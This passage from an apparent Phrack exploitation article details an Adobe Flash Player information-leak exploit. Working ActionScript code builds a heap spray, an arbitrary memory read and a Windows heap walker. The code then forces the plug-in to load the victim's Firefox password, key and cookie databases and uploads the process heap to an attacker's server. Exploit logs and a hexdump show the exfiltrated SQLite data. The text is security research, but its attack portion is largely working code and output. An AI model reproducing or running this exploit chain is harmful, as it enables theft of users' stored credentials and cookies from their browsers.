|
||
|
back to the attacker. This is definitely a good way to go, however the
|
||
|
exploit attached in this article uses a different technique. Unfortunately,
|
||
|
several years have passed since I discovered this vulnerability and I don't
|
||
|
recall reason why I didn't follow this technique. IIRC `profiles[]' was not
|
||
|
in the AVM managed heap and it was thus hard to control the heap contents
|
||
|
right next to it. Hard, but not impossible I guess.
|
||
|
|
||
|
Probably not the best strategy, but one that works, is to spray the heap
|
||
|
with a few very large vectors of unsigned integers, hoping that a high
|
||
|
memory address is reached and that this address holds user supplied data.
|
||
|
The attached exploit allocates 64 such vectors, 0x01000000 bytes in size
|
||
|
each, and the high address in question is assumed to be 0x0a000000, but
|
||
|
that's an arbitrary choice, any high address properly chosen will do. It
|
||
|
should be noted that the heap spray vectors should be filled with a
|
||
|
doubleword value corresponding to the chosen high address, that is, in our
|
||
|
case, we should set all elements of all vectors to 0x0a000000 for reasons
|
||
|
that will become apparent later.
|
||
|
|
||
|
Since a great deal of the memory space is filled with our vectors,
|
||
|
supplying a quite large value for `j' has a good chance of making
|
||
|
`&profiles[j]' to fall within one of the heap sprayed regions. The exploit
|
||
|
will first attempt to leak a doubleword from `&profiles[0x01000000]'. A
|
||
|
leaked value of 0x0a000000 is an indication that the heap spray has
|
||
|
succeeded.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
private const VECNUM:uint = 64;
|
||
|
private const VECSZ:uint = 0x01000000 / 4 - 2;
|
||
|
...
|
||
|
|
||
|
private function _do_heap_spray():void
|
||
|
{
|
||
|
var v:Vector.<uint>;
|
||
|
this._sv = new Vector.<*>(this.VECNUM);
|
||
|
for(var i:uint = 0; i < this.VECNUM; i++)
|
||
|
{
|
||
|
v = new Vector.<uint>(this.VECSZ);
|
||
|
for(var j:uint = 0; j < this.VECSZ; j++)
|
||
|
v[j] = 0x0a000000;
|
||
|
this._sv[i] = v;
|
||
|
}
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
One might wonder why spraying the heap with just a few very large vectors
|
||
|
may be better, as opposed to spraying with a large number of smaller
|
||
|
vectors. Usually, we need to decrease the metadata to data ratio. The more
|
||
|
vectors we instantiate the more metadata are allocated in the victim
|
||
|
process' GC heap, the AVM managed heap. However, by allocating only a few
|
||
|
very large vectors we can make sure heap space is mostly filled with user
|
||
|
supplied unsigned integers and only a few bytes of metadata is used.
|
||
|
|
||
|
The underlying C++ vector objects hold a pointer to a memory region that
|
||
|
holds the actual data (for more information see [18]). This memory region
|
||
|
has the following format.
|
||
|
|
||
|
|
||
|
https://github.com/adobe-flash/avmplus/blob/master/core/avmplusList.h#L83
|
||
|
|
||
|
--- snip ---
|
||
|
template<class STORAGE, uint32_t slop> struct ListData
|
||
|
{
|
||
|
uint32_t len;
|
||
|
MMgc::GC* _gc;
|
||
|
STORAGE entries[1];
|
||
|
};
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
While writing this article, the author came across the following GitHub
|
||
|
repository, which was recently updated by Adobe! In this new version of
|
||
|
"avmplus", the layout of the structure shown above has changed and
|
||
|
XOR-based overflow protection has been added.
|
||
|
|
||
|
https://github.com/adobe/avmplus/blob/master/core/avmplusList.h#L83
|
||
|
|
||
|
|
||
|
Now, let's assume that our heap spraying results in the partial memory
|
||
|
layout depicted in the following figure.
|
||
|
|
||
|
|
||
|
0x0a000000 - X 0x01000000 0x22222222 0x0a000000 0x0a000000
|
||
|
...
|
||
|
0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000000
|
||
|
0x0a000010 0x0a000000 0x0a000000 0x0a000000 0x0a000000
|
||
|
0x0a000020 0x0a000000 0x0a000000 0x0a000000 0x0a000000
|
||
|
0x0a000030 0x0a000000 0x0a000000 0x0a000000 0x0a000000
|
||
|
...
|
||
|
0x0a000000 + Y 0x0a000000 0x0a000000 0x0a000000 0x0a000000
|
||
|
|
||
|
|
||
|
As it was previously mentioned, the exploit assumes that heap spraying
|
||
|
results in address 0x0a000000, an otherwise randomly chosen high heap
|
||
|
address, falling within the container memory region of one of the 64 large
|
||
|
vectors. This is depicted in the above schematic where address 0x0a000000
|
||
|
contains 0x0a000000, the value assigned in all vectors' elements. Notice
|
||
|
that, in this case, dereferencing memory address 0x0a000000 returns
|
||
|
0x0a000000, the memory address itself. Let's assume that, for a quite large
|
||
|
value of `j', say `j = 0x01000000', `&profiles[j]' happens to fall at
|
||
|
`0x0a000000 + Y', then `profiles[j] = 0x0a000000' and consequently three
|
||
|
doublewords will be leaked from 0x0a000000. So far, so good.
|
||
|
|
||
|
By repeatedly calling `getABRProfileInfoAtIndex()' with decreasing values
|
||
|
of `j', `&profiles[j]' will eventually point to `0x0a000000 - X + 4',
|
||
|
`profiles[j]' will be equal to `0x22222222' and three doublewords will be
|
||
|
leaked from that address. However, recall that this is the address of a C++
|
||
|
object (`_gc' member in `ListData' shown above), and consequently the first
|
||
|
leaked doubleword will hold the object's virtual function table address.
|
||
|
Additionally, `&profiles[j + 1]' is the pointer to the first element of the
|
||
|
same container memory region. Notice that we don't know, and we shouldn't
|
||
|
care, which of the 64 vectors this container belongs to.
|
||
|
|
||
|
We now have two assets at hand:
|
||
|
|
||
|
* A virtual function table pointer which can be used to determine the
|
||
|
Flash Player module base address.
|
||
|
|
||
|
* An easy way of reading arbitrary memory addresses. For each vector `v'
|
||
|
in the set of spray vectors, se set `v[0] = 0xdeadbeef' and call
|
||
|
`getABRProfileInfoAtIndex()' passing the aforementioned `j + 1' value
|
||
|
as the second argument. This will result in 3 doublewords being leaked
|
||
|
from 0xdeadbeef.
|
||
|
|
||
|
All this may be confusing even if you are the most experienced exploit
|
||
|
writer in the world. Take your time and think about it.
|
||
|
|
||
|
The following function in "WorkerMain.as" implements the logic described so
|
||
|
far. When it completes, `this._idx' is the value of `j + 1', and
|
||
|
`this._vtable_address' is the leaked address of the C++ object's virtual
|
||
|
function table.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
private function _get_vtable_and_index():Boolean
|
||
|
{
|
||
|
var ret:Boolean = false;
|
||
|
var pi:AVABRProfileInfo;
|
||
|
var idx:uint = 0x01000000;
|
||
|
|
||
|
// If the first attempt to leak data returns 0, then we have either
|
||
|
// landed on an invalid heap address (i.e. not covered by any of the
|
||
|
// large vectors), or we're running on a very old Flash Player that
|
||
|
// doesn't support HLS streaming.
|
||
|
pi = this._source.getABRProfileInfoAtIndex(0, idx);
|
||
|
if(pi.bitsPerSecond != 0)
|
||
|
{
|
||
|
while(pi.bitsPerSecond == 0x0a000000)
|
||
|
{
|
||
|
idx -= 1;
|
||
|
pi = this._source.getABRProfileInfoAtIndex(0, idx);
|
||
|
}
|
||
|
this._idx = idx + 1;
|
||
|
this._vtable_address = pi.bitsPerSecond;
|
||
|
ret = true;
|
||
|
}
|
||
|
return ret;
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Reading a doubleword from an arbitrary address, it's then just a matter of
|
||
|
calling the function below (also defined in "WorkerMain.as").
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Read a doubleword from the given memory address.
|
||
|
private function _read_dword(addr:uint):uint
|
||
|
{
|
||
|
var pi:AVABRProfileInfo;
|
||
|
var ret:uint;
|
||
|
...
|
||
|
|
||
|
// (1)
|
||
|
for(var i:uint = 0; i < this.VECNUM; i++)
|
||
|
this._sv[i][0] = addr;
|
||
|
|
||
|
// (2)
|
||
|
pi = this._source.getABRProfileInfoAtIndex(0, this._idx);
|
||
|
|
||
|
...
|
||
|
ret = pi.bitsPerSecond;
|
||
|
|
||
|
return ret;
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
At (1) we iterate over the 64 heap spray vectors and set their first
|
||
|
element to the address from where we want to read a doubleword. We then
|
||
|
call the vulnerable API, at (2), with the appropriate second argument that
|
||
|
results in some vector's first element being dereferenced as a memory
|
||
|
address. The value in `pi.bitsPerSecond' returns the leaked value.
|
||
|
|
||
|
Moving one level up in the abstraction layers, the following function,
|
||
|
implemented on top of `_read_dword()' given above, can be used to read
|
||
|
arbitrary amounts of data from a given memory address. Its usefulness will
|
||
|
become apparent later, but you can pretty much guess.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Read an arbitrary amount of bytes starting from the given memory
|
||
|
// address. Note that we can't read less than 4 bytes at a time, so,
|
||
|
// less than `len' bytes may be returned.
|
||
|
private function _read(addr:uint, len:uint):String
|
||
|
{
|
||
|
var dw:uint;
|
||
|
var raw:String = "";
|
||
|
|
||
|
// Align at a multiple of 4 (_downwards_, _not_ upwards) and then
|
||
|
// subtract the number of bytes dereferenced every time the bug is
|
||
|
// triggered. We do that in an attempt to avoid hitting unmapped
|
||
|
// memory regions.
|
||
|
len = len & ~3;
|
||
|
if(this._readahead > 0)
|
||
|
len -= this._readahead;
|
||
|
|
||
|
for(var i:uint = 0; i < (len & ~3); i += 4, addr += 4)
|
||
|
{
|
||
|
dw = this._read_dword(addr);
|
||
|
raw += String.fromCharCode(dw & 0x000000ff) +
|
||
|
String.fromCharCode((dw & 0x0000ff00) >>> 8) +
|
||
|
String.fromCharCode((dw & 0x00ff0000) >>> 16) +
|
||
|
String.fromCharCode((dw & 0xff000000) >>> 24);
|
||
|
}
|
||
|
|
||
|
return raw;
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
------[ 3.2.3 Discovering Flash Player base address
|
||
|
|
||
|
As it was mentioned in 3.2.2, method `_get_vtable_and_index()', among other
|
||
|
things, returns the address of a virtual function table discovered during
|
||
|
the early steps of the exploit. Computing the base address of the Adobe
|
||
|
Flash Player plug-in is now a matter of aligning the virtual table address
|
||
|
to the previous multiple of the page size, reading a doubleword from that
|
||
|
location and checking if the "MZ" signature (0x5a4d) is there. If not,
|
||
|
0x1000 is subtracted from the address in question and the process is
|
||
|
repeated. Method `_get_flash_address()' in "WorkerMain.as" implements the
|
||
|
logic described in this paragraph.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Attempt to locate the Flash Player base address.
|
||
|
private function _get_flash_address():void
|
||
|
{
|
||
|
var addr:uint = this._vtable_address & 0xfffff000;
|
||
|
var dw:uint;
|
||
|
|
||
|
dw = this._read_dword(addr);
|
||
|
while((dw & 0x0000ffff) != 0x00005a4d)
|
||
|
{
|
||
|
addr -= 0x1000;
|
||
|
dw = this._read_dword(addr);
|
||
|
}
|
||
|
this._flash_address = addr;
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
When `_get_flash_address()' completes, `this._flash_address' will hold the
|
||
|
base address of the Adobe Flash Player plug-in.
|
||
|
|
||
|
|
||
|
------[ 3.2.4 Discovering the CRT heap address
|
||
|
|
||
|
Being able to to read doublewords from arbitrary memory addresses, means
|
||
|
one can easily locate the address of the Microsoft Windows heap used by the
|
||
|
Adobe Flash plug-in process. The following assembly snippet can be found in
|
||
|
`__heap_init()', a function found in most PE executables' early
|
||
|
initialization code.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
call ds:HeapCreate
|
||
|
mov __crtheap, eax
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The variable named `__crtheap' is a global holding a `HANDLE' to the CRT
|
||
|
heap. However, heap `HANDLE' values are, in fact, heap base addresses. An
|
||
|
attacker may exploit the information leak vulnerability to read the
|
||
|
contents of this global variable and discover the sandboxed child's CRT
|
||
|
heap base address. Taking into account the information presented in the
|
||
|
previous sections, it's quite trivial to achieve this:
|
||
|
|
||
|
* Set `v[0] = &__crtheap' for each heap spray vector `v'.
|
||
|
|
||
|
* Trigger the vulnerability by calling `getABRProfileInfoAtIndex()'.
|
||
|
|
||
|
The value of `&__crtheap' can easily be located by searching the Flash
|
||
|
plug-in's text segment for the following byte pattern. The wildcards marked
|
||
|
with "??" correspond to the address of `HeapCreate()'. The doubleword that
|
||
|
follows this pattern is `&__crtheap'.
|
||
|
|
||
|
68 00 10 00 00 50 ff 15 ?? ?? ?? ?? a3
|
||
|
|
||
|
The following function, found in the exploit's "WorkerMain.as", is
|
||
|
responsible for discovering the CRT heap address. It makes use of
|
||
|
`this._read_dword()', the function that abstracts the vulnerability details
|
||
|
away and allows the AS3 programmer to read data from arbitrary memory
|
||
|
addresses.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Locate the address of `__crtheap', the variable that points to the
|
||
|
// process' main heap, and dereference it to read the heap's address.
|
||
|
private function _get_heap_address():void
|
||
|
{
|
||
|
var match:RegExp = /\x68\x00\x10\x00\x00\x50\xff\x15....\xa3/;
|
||
|
var addr:uint = this._flash_address;
|
||
|
var raw:String;
|
||
|
var i:int;
|
||
|
|
||
|
raw = this._read(addr, 0x1000)
|
||
|
while((i = raw.search(match)) < 0)
|
||
|
{
|
||
|
addr += 0x1000;
|
||
|
raw = this._read(addr, 0x1000)
|
||
|
}
|
||
|
|
||
|
addr += i + 13;
|
||
|
addr = this._read_dword(addr);
|
||
|
this._heap_address = this._read_dword(addr);
|
||
|
this._parser = new CRTHeapParser(this._read_dword);
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
With this in hand, one may walk all heap allocations and read all data
|
||
|
reachable in the heap at the time the exploit executes. Notice that, the
|
||
|
GC heap, Adobe Flash's own heap allocator, acts on top of the Microsoft
|
||
|
Windows CRT heap.
|
||
|
|
||
|
|
||
|
------[ 3.2.5 Walking CRT heap allocations
|
||
|
|
||
|
Once the CRT heap address has been leaked, walking the whole heap is pretty
|
||
|
straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt
|
||
|
have done a great work at documenting the Microsoft Windows heap internals
|
||
|
([13], [14], [15]).
|
||
|
|
||
|
The Windows heap parsing logic is implemented in "CRTHeapParser.as" in
|
||
|
class `CRTHeapParser'. The class is quite abstract, the reader can use it
|
||
|
in any information leak vulnerability. It effectively implements the
|
||
|
equivalent of `HeapWalk()' in AS3. The constructor expects a single
|
||
|
argument, a function used to read a doubleword from an arbitrary memory
|
||
|
address (see the definition of `_read_dword()' later in this section).
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
this._parser = new CRTHeapParser(this._read_dword);
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Once a `CRTHeapParser' instance has been created, the heap can be walked
|
||
|
using the method `walk()' as shown below:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
this._parser.walk(this._heap_address, this._get_username_cb);
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The first argument is the address of heap to walk (a Windows application
|
||
|
may have more than one heap) while the second is a callback to call for
|
||
|
each discovered heap allocation. The name of the shown callback function
|
||
|
will be explained later.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
private function _get_username_cb(address:uint, size:uint):Boolean
|
||
|
{
|
||
|
...
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The callback receives two arguments. The address of a heap allocation and
|
||
|
the allocation size. It's up to the callback implementer to read the
|
||
|
contents of this heap allocation (using the information leak exploit) and
|
||
|
discover its contents.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Read a doubleword from the given memory address.
|
||
|
private function _read_dword(addr:uint):uint
|
||
|
{
|
||
|
var pi:AVABRProfileInfo;
|
||
|
var ret:uint;
|
||
|
|
||
|
// Check if the readahead crosses a page boundary. If yes, then the
|
||
|
// next page may be unmapped.
|
||
|
var cross_page:Boolean = ((addr + this._readahead) & 0xfffff000) !=
|
||
|
(addr & 0xfffff000);
|
||
|
|
||
|
// If so, subtract the readahead from the address to be dereferenced
|
||
|
// and return `pi.height' instead of `pi.bitsPerSecond' :)
|
||
|
if(cross_page && this._readahead > 0)
|
||
|
addr -= this._readahead;
|
||
|
|
||
|
for(var i:uint = 0; i < this.VECNUM; i++)
|
||
|
this._sv[i][0] = addr;
|
||
|
pi = this._source.getABRProfileInfoAtIndex(0, this._idx);
|
||
|
|
||
|
if(cross_page && this._readahead > 0)
|
||
|
ret = pi.height;
|
||
|
else
|
||
|
ret = pi.bitsPerSecond;
|
||
|
|
||
|
return ret;
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
As it has already been mentioned, the above is, actually, the equivalent of
|
||
|
`HeapWalk()' [19] implemented by abusing our read primitive.
|
||
|
|
||
|
|
||
|
------[ 3.2.6 Reading arbitrary files
|
||
|
|
||
|
Now that we have a powerful arbitrary read primitive at hand, it's time we
|
||
|
examine what can be done with it. An obvious potential is dumping the
|
||
|
memory contents of the sandboxed Adobe Flash Player process. However,
|
||
|
unless sensitive information is already present in the process' memory,
|
||
|
doing this won't yield any interesting results.
|
||
|
|
||
|
What if one could force the sandboxed child load and map arbitrary files in
|
||
|
memory? Assuming a file has been mapped somewhere in the process' heap,
|
||
|
discovering its contents is just a matter of walking the heap and locating
|
||
|
the heap region that carries the contents of the file.
|
||
|
|
||
|
The M3U8 specification mentions the following:
|
||
|
|
||
|
|
||
|
3.4.4. EXT-X-KEY
|
||
|
|
||
|
Media segments MAY be encrypted. The EXT-X-KEY tag specifies how to
|
||
|
decrypt them. It applies to every media URI that appears between it and
|
||
|
the next EXT-X-KEY tag in the Playlist file (if any). Its format is:
|
||
|
|
||
|
#EXT-X-KEY:<attribute-list>
|
||
|
|
||
|
...
|
||
|
|
||
|
If the encryption method is AES-128, the URI attribute MUST be present.
|
||
|
|
||
|
...
|
||
|
|
||
|
The URI attribute specifies how to obtain the key. Its value is a
|
||
|
quoted-string that contains a URI [RFC3986] for the key.
|
||
|
|
||
|
|
||
|
If the URI specifies a local file, the Flash Player child will happily load
|
||
|
and map it in memory (it's well known that the NPAPI Firefox Flash Sandbox
|
||
|
allows reading arbitrary files from the filesystem). A relatively big file
|
||
|
will occupy a heap segment of its own, making it easier for an attacker to
|
||
|
discover its contents.
|
||
|
|
||
|
Ideally, an attacker would like to load in memory the SQLite database
|
||
|
holding the Firefox stored passwords. However, this is not as
|
||
|
straightforward as it may sound at first. On Microsoft Windows, these
|
||
|
databases reside at the following location:
|
||
|
|
||
|
|
||
|
C:\Users\USERNAME\AppData\Roaming\Mozilla\Firefox\Profiles\PROFILE_NAME\
|
||
|
signons.sqlite
|
||
|
|
||
|
|
||
|
The path above contains two unknown quantities, the victim's username and
|
||
|
the Firefox profile name which is a random identifier produced during
|
||
|
installation. Before being able to load these files, one needs to find a
|
||
|
way to determine the unknown values first.
|
||
|
|
||
|
Since we already have an arbitrary read, as well as a more advanced heap
|
||
|
walking abstraction, at hand, figuring out the victim's username is quite
|
||
|
easy. On Microsoft Windows, environment variables lie somewhere at the very
|
||
|
beginning of the process heap, so, our heap walker will visit this
|
||
|
allocation too. Assuming we have successfully leaked the address of the
|
||
|
main heap as described above, leaking the victim's username as simple as
|
||
|
calling `walk()' with a callback function that uses regular expressions to
|
||
|
locate the string ":\Users\xxx\AppData" in the heap data.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Leak heap data and look for a pattern that matches the username in
|
||
|
// the target system. We need that in order to access files within the
|
||
|
// user's home directory.
|
||
|
private function _get_username_cb(address:uint, size:uint):Boolean
|
||
|
{
|
||
|
var matches:Array;
|
||
|
var ret:Boolean = false;
|
||
|
|
||
|
// `_read()' is the function implementing the read primitive.
|
||
|
var raw:String = this._read(address, size);
|
||
|
|
||
|
matches = raw.match(/:\\Users\\([^\\]*)\\AppData/);
|
||
|
if(matches != null)
|
||
|
{
|
||
|
this._username = matches[1];
|
||
|
ret = true;
|
||
|
}
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
private function _get_username():Boolean
|
||
|
{
|
||
|
return this._parser.walk(this._heap_address, this._get_username_cb);
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
If `_get_username_cb()' succeeds, the leaked username is stored in
|
||
|
`this._username'.
|
||
|
|
||
|
This whole process may be repeated to first load "profiles.ini", the file
|
||
|
that holds the randomly generated Mozilla Firefox profile name and then the
|
||
|
SQLite databases holding the keys and passwords. The content's of the
|
||
|
aforementioned files can then be dumped using `this._parser.walk()' with
|
||
|
different callback methods as shown below.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Search for the random Firefox profile name in heap data.
|
||
|
private function _get_profile_name_cb(address:uint, size:uint):Boolean
|
||
|
{
|
||
|
var matches:Array;
|
||
|
var ret:Boolean = false;
|
||
|
var raw:String = this._read(address, size);
|
||
|
matches = raw.match(/Path=Profiles[\/\\]([[:print:]]+)/);
|
||
|
if(matches != null)
|
||
|
{
|
||
|
this._profile_name = matches[1];
|
||
|
ret = true;
|
||
|
}
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
private function _get_profile_name():Boolean
|
||
|
{
|
||
|
...
|
||
|
|
||
|
this._parser.walk(this._heap_address, this._get_profile_name_cb);
|
||
|
...
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Last but not least, the `_upload_data_cb()' is used in a final call to
|
||
|
`walk()' to upload the full heap contents to a server of the attacker's
|
||
|
choosing:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Collects data and uploads it on our server.
|
||
|
private function _upload_data_cb(address:uint, size:uint):Boolean
|
||
|
{
|
||
|
var raw:String = this._read(address, size);
|
||
|
|
||
|
if(this._mem == null)
|
||
|
this._mem = "";
|
||
|
this._mem += raw;
|
||
|
|
||
|
// Upload data in blocks of `DUMPSZ' bytes.
|
||
|
if(this._mem.length >= this.DUMPSZ)
|
||
|
{
|
||
|
this._con.msg("Uploading block of " + this._mem.length + " bytes");
|
||
|
|
||
|
var b64:Base64Encoder = new Base64Encoder();
|
||
|
b64.encode(raw);
|
||
|
raw = b64.toString();
|
||
|
|
||
|
var vars:URLVariables = new URLVariables();
|
||
|
vars.id = this._get_uniqid();
|
||
|
vars.data = raw;
|
||
|
|
||
|
var req:URLRequest = new URLRequest(this.DUMPURL);
|
||
|
req.data = vars;
|
||
|
req.method = URLRequestMethod.POST;
|
||
|
|
||
|
var ldr:URLLoader = new URLLoader();
|
||
|
ldr.dataFormat = URLLoaderDataFormat.BINARY;
|
||
|
ldr.load(req);
|
||
|
|
||
|
this._mem = "";
|
||
|
}
|
||
|
|
||
|
// Return `false' so that `parser.walk()' walks the whole heap.
|
||
|
return false;
|
||
|
}
|
||
|
|
||
|
private function _steal_cookies_and_passwords():void
|
||
|
{
|
||
|
...
|
||
|
|
||
|
// Dump the whole heap :)
|
||
|
this._parser.walk(this._heap_address, this._upload_data_cb);
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The exploit's server component "dumper.php" will store the uploaded data in
|
||
|
a file under "/tmp". Section 3.2.8, entitled "Logs", proves that the SQLite
|
||
|
databases holding keys and passwords have succesfully been uploaded to the
|
||
|
attacker's server.
|
||
|
|
||
|
|
||
|
------[ 3.2.7 - Overall exploit methodology
|
||
|
|
||
|
Summing up, the complete exploitation process consists of the steps given
|
||
|
below. The interested reader is referred to the corresponding sections of
|
||
|
this article for a detailed analysis of each step. Briefly the attached
|
||
|
exploit:
|
||
|
|
||
|
* Performs some standard heap spraying and attempts to determine if it
|
||
|
was successful or not.
|
||
|
|
||
|
* Abuses the layout of AS3 `Vector<uint>' data containers to leak
|
||
|
information from arbitrary absolute memory addresses. In this step, the
|
||
|
address of a virtual function table is also discovered.
|
||
|
|
||
|
* Discovers the Adobe Flash plug-in's base address.
|
||
|
|
||
|
* Walks the CRT heap once to locate the environment variables of the
|
||
|
victim process. Simple pattern matching is used to locate the username
|
||
|
of the victim.
|
||
|
|
||
|
* Asks the exploit's server component to return an M3U8 manifest that
|
||
|
results in the AVM loading "profiles.ini" several times in the victim
|
||
|
process memory.
|
||
|
|
||
|
* Walks the CRT heap once again to locate "profiles.ini" contents and
|
||
|
read the name of the default profile. Most (all) users use just a
|
||
|
single Firefox profile.
|
||
|
|
||
|
* Asks the exploit's server component to return an M3U8 manifest that
|
||
|
loads "signons.sqlite", "key3.db" and "cookies.sqlite" in the victim's
|
||
|
memory.
|
||
|
|
||
|
* Walks the CRT heap again and uploads all heap allocations to a server
|
||
|
of the attacker's choosing. Some of these allocations contain the
|
||
|
SQLite database contents.
|
||
|
|
||
|
The author has run several experiments and has verified that the above
|
||
|
exploitation works as expected.
|
||
|
|
||
|
|
||
|
------[ 3.2.8 - Logz
|
||
|
|
||
|
This is how the user's browser looks like when debugging output is enabled
|
||
|
in the exploit's code:
|
||
|
|
||
|
--- snip ---
|
||
|
(2016-01-26 01:04:42) [*] Will now load worker from WorkerMain.swf
|
||
|
(2016-01-26 01:04:42) [*] New worker started
|
||
|
(2016-01-26 01:04:42) [*] Preparing stream
|
||
|
(2016-01-26 01:04:54) [*] Readahead size is 8
|
||
|
(2016-01-26 01:04:54) [*] Spraying the heap
|
||
|
(2016-01-26 01:04:56) [*] GC virtual table @0x67cadaf0
|
||
|
(2016-01-26 01:04:56) [*] Flash player base address @0x67010000
|
||
|
(2016-01-26 01:05:07) [*] __crtheap @0x4e0000
|
||
|
(2016-01-26 01:05:07) [*] Matched Windows username "huku"
|
||
|
(2016-01-26 01:05:07) [*] Preparing to leak Firefox profile name
|
||
|
(2016-01-26 01:05:07) [*] New manifest "\\192.168.0.200@80\tmp\
|
||
|
master-6c616c616b6973--99643158.m3u8"
|
||
|
(2016-01-26 01:05:07) [*] Sleeping for a while...
|
||
|
(2016-01-26 01:05:19) [*] Matched Mozilla Firefox profile name
|
||
|
"liqso3kl.default"
|
||
|
(2016-01-26 01:05:19) [*] Preparing to steal cookies and passwords
|
||
|
(2016-01-26 01:05:19) [*] New manifest "\\192.168.0.200@80\tmp\
|
||
|
master-6c616c616b6973-6c6971736f336b6c2e64656661756c74-efa5759b.m3u8"
|
||
|
(2016-01-26 01:05:19) [*] Sleeping for a while...
|
||
|
(2016-01-26 01:05:31) [*] Uploading block of 54040 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 383168 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 33544 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 36096 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 36280 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 97608 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 34976 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 131064 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 36768 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 41976 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 40960 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 40960 bytes
|
||
|
(2016-01-26 01:05:32) [*] Uploading block of 42336 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 131064 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 36856 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 36856 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 32768 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 107296 bytes
|
||
|
(2016-01-26 01:05:33) [*] Uploading block of 44232 bytes
|
||
|
(2016-01-26 01:05:34) [*] Uploading block of 528400 bytes
|
||
|
(2016-01-26 01:05:34) [*] Uploading block of 528376 bytes
|
||
|
(2016-01-26 01:05:35) [*] Uploading block of 528376 bytes
|
||
|
(2016-01-26 01:05:35) [*] Freeing worker resources
|
||
|
(2016-01-26 01:05:35) [*] Marking target
|
||
|
(2016-01-26 01:05:35) [*] Done
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
On the attacker's server, a binary file holding exfiltrated data is created
|
||
|
in "/tmp". The SQLite databases holding the victim's keys and passwords can
|
||
|
also be found there.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
$ hexdump -C /tmp/154a61b6c8227ae0acfdfb974141dd6f.bin | grep SQLite
|
||
|
... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f|
|
||
|
... d0 c5 37 4e 00 00 00 04 53 51 4c 69 74 65 20 66 |..7N....SQLite f|
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
--[ 4 - Conclusion
|
||
|
|
||
|
The author hopes to have presented an interesting technique of exfiltrating
|
||
|
data from a victim's computer. The only requirement was an arbitrary read
|
||
|
primitive achieved by exploiting a standard relative information leak
|
||
|
vulnerability. The presented methodology is generic and may be used to
|
||
|
exploit similar Adobe Flash vulnerabilities. Additionally, similar
|
||
|
techniques may be applicable to other client side technologies.
|
||
|
|
||
|
Vulnerabilities, uninteresting at first sight, just like this one, may turn
|
||
|
out to be promising and effective. Once a victim's passwords have been
|
||
|
stolen (e.g. e-mail credentials), accessing the target's computer or mobile
|
||
|
devices may also be possible in post-exploitation scenarios.
|
||
|
|
||
|
As we are moving towards the era of data-only attacks, both in user-land
|
||
|
and kernel-land, such attacks may become more and more interesting from a
|
||
|
security researchers perspective. We look forward to bypassing any crappy
|
||
|
mitigation that will be implemented in future Adobe Flash versions.
|
||
|
|
||
|
|
||
|
--[ 5 - Thanks
|
||
|
|
||
|
As you might know, writing a Phrack article is quite a hard work and
|
||
|
requires dedication. This paper would have never been completed if it
|
||
|
wasn't for the help and support of certain people. This section is
|
